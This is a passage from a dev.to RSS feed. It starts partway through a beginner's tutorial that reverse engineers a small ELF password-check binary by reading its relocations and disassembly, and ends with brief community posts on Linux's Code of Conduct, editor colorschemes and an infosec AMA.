printf 0x200fb8
fgets 0x200fc0
strcmp 0x200fc8
malloc 0x200fd0


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Remember the function call at 0x200fe0 from earlier? Yep, so that was a call to the well known __libc_start_main. Again, according to &lt;a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib---libc-start-main-.html" rel="noopener noreferrer"&gt;linuxbase.org&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The __libc_start_main() function shall perform any necessary initialization of the execution environment, call the &lt;em&gt;main&lt;/em&gt; function with appropriate arguments, and handle the return from main(). If the main() function returns, the return value shall be passed to the exit() function.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And its definition is like so&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

int \_\_libc\_start\_main(int \*(main) (int, char \* \*, char \* \*), int argc, char \* \* ubp\_av, void (\*init) (void), void (\*fini) (void), void (\*rtld\_fini) (void), void (\* stack\_end));


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Looking back at our disassembly&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;but this time, at the lea or Load Effective Address instruction, which loads some address [rip + 0xe6] into the rdi register. [rip + 0xe6] evaluates to 0x7aa which happens to be the address of our main() function! How do I know that? Because __libc_start_main(), after doing whatever it does, eventually jumps to the function at rdi, which is generally the main() function. It looks something like this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxipfulsuaynk6iglc8rj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxipfulsuaynk6iglc8rj.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To see the disassembly of main, seek to 0x7aa in the output of the script we’d written earlier (disas1.py).&lt;/p&gt;

&lt;p&gt;From what we discovered earlier, each call instruction points to some function which we can see from the relocation entries. So following each call into their relocations gives us this&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

printf 0x650
fgets 0x660
strcmp 0x670
malloc 0x680


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

0x7b2: mov edi, 0xa ; 10
0x7b7: call 0x680 ; malloc


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The loop to populate the *pw string&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

0x7d0: mov eax, dword ptr [rbp - 0x14]
0x7d3: cdqe    
0x7d5: lea rdx, [rax - 1]
0x7d9: mov rax, qword ptr [rbp - 0x10]
0x7dd: add rax, rdx
0x7e0: movzx eax, byte ptr [rax]
0x7e3: lea ecx, [rax + 1]
0x7e6: mov eax, dword ptr [rbp - 0x14]
0x7e9: movsxd rdx, eax
0x7ec: mov rax, qword ptr [rbp - 0x10]
0x7f0: add rax, rdx
0x7f3: mov edx, ecx
0x7f5: mov byte ptr [rax], dl
0x7f7: add dword ptr [rbp - 0x14], 1
0x7fb: cmp dword ptr [rbp - 0x14], 8
0x7ff: jle 0x7d0


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;And this looks like our strcmp()&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

0x843: mov rdx, qword ptr [rbp - 0x10] ; \*in
0x847: mov rax, qword ptr [rbp - 8] ; \*pw
0x84b: mov rsi, rdx             
0x84e: mov rdi, rax
0x851: call 0x670 ; strcmp  
0x856: test eax, eax ; is = 0? 
0x858: jne 0x868 ; no? jump to 0x868
0x85a: lea rdi, [rip + 0xae] ; "haha yes!" 
0x861: call 0x640 ; puts
0x866: jmp 0x874
0x868: lea rdi, [rip + 0xaa] ; "nah dude"
0x86f: call 0x640 ; puts  


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;I’m not sure why it uses puts here? I might be missing something; perhaps printf calls puts. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this immensely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.&lt;/p&gt;

&lt;p&gt;All the code used in this post is here: &lt;a href="https://github.com/icyphox/asdf/tree/master/reversing-elf" rel="noopener noreferrer"&gt;https://github.com/icyphox/asdf/tree/master/reversing-elf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I’m Anirudh, a CS undergrad, focusing on offensive security and digital forensics. I go by “icyphox” on the Internet.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Links
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/icyphox" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://icyphox.sh" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/icyphox" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Feel free to shoot me a mail at &lt;a href="//mailto:icyph0x@pm.me"&gt;icyph0x@pm.me&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>reverseengineering</category>
      <category>programming</category>
      <category>security</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>Let's talk about the new CoC for Linux</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Tue, 18 Sep 2018 08:22:44 +0000</pubDate>
      <link>https://dev.to/icyphox/lets-talk-about-the-new-coc-for-linux-4jh</link>
      <guid>https://dev.to/icyphox/lets-talk-about-the-new-coc-for-linux-4jh</guid>
      <description>&lt;p&gt;I'm personally not in favour of the new Code of Conduct, as I feel it is unnecessarily political. &lt;/p&gt;

&lt;p&gt;What're your thoughts?&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>linux</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Share your editor's colorscheme!</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Mon, 13 Aug 2018 13:46:47 +0000</pubDate>
      <link>https://dev.to/icyphox/share-your-editors-colorscheme-5e6g</link>
      <guid>https://dev.to/icyphox/share-your-editors-colorscheme-5e6g</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kwuWHHeO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/yic94k0igpjgjrqxrouq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kwuWHHeO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/yic94k0igpjgjrqxrouq.png" alt="vim"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mine is &lt;code&gt;base16-material-palenight&lt;/code&gt;, from the amazing &lt;a href="https://github.com/chriskempson/base16"&gt;base16 project&lt;/a&gt;. What's yours?&lt;/p&gt;

</description>
      <category>style</category>
      <category>colorscheme</category>
      <category>editor</category>
      <category>discuss</category>
    </item>
    <item>
      <title>I'm 18 and I do systems security, Ask Me Anything!</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Sun, 12 Aug 2018 14:30:46 +0000</pubDate>
      <link>https://dev.to/icyphox/im-18-and-i-do-systems-security-ask-me-anything-i3c</link>
      <guid>https://dev.to/icyphox/im-18-and-i-do-systems-security-ask-me-anything-i3c</guid>
      <description>&lt;p&gt;Hey guys, I'm a systems security engineer at a local startup. I've been into infosec since 8th grade. I'm (obviously) still learning, and gearing towards an OSCP. Ask me anything!&lt;/p&gt;

</description>
      <category>ama</category>
      <category>security</category>
      <category>infosec</category>
    </item>
  </channel>
</rss>
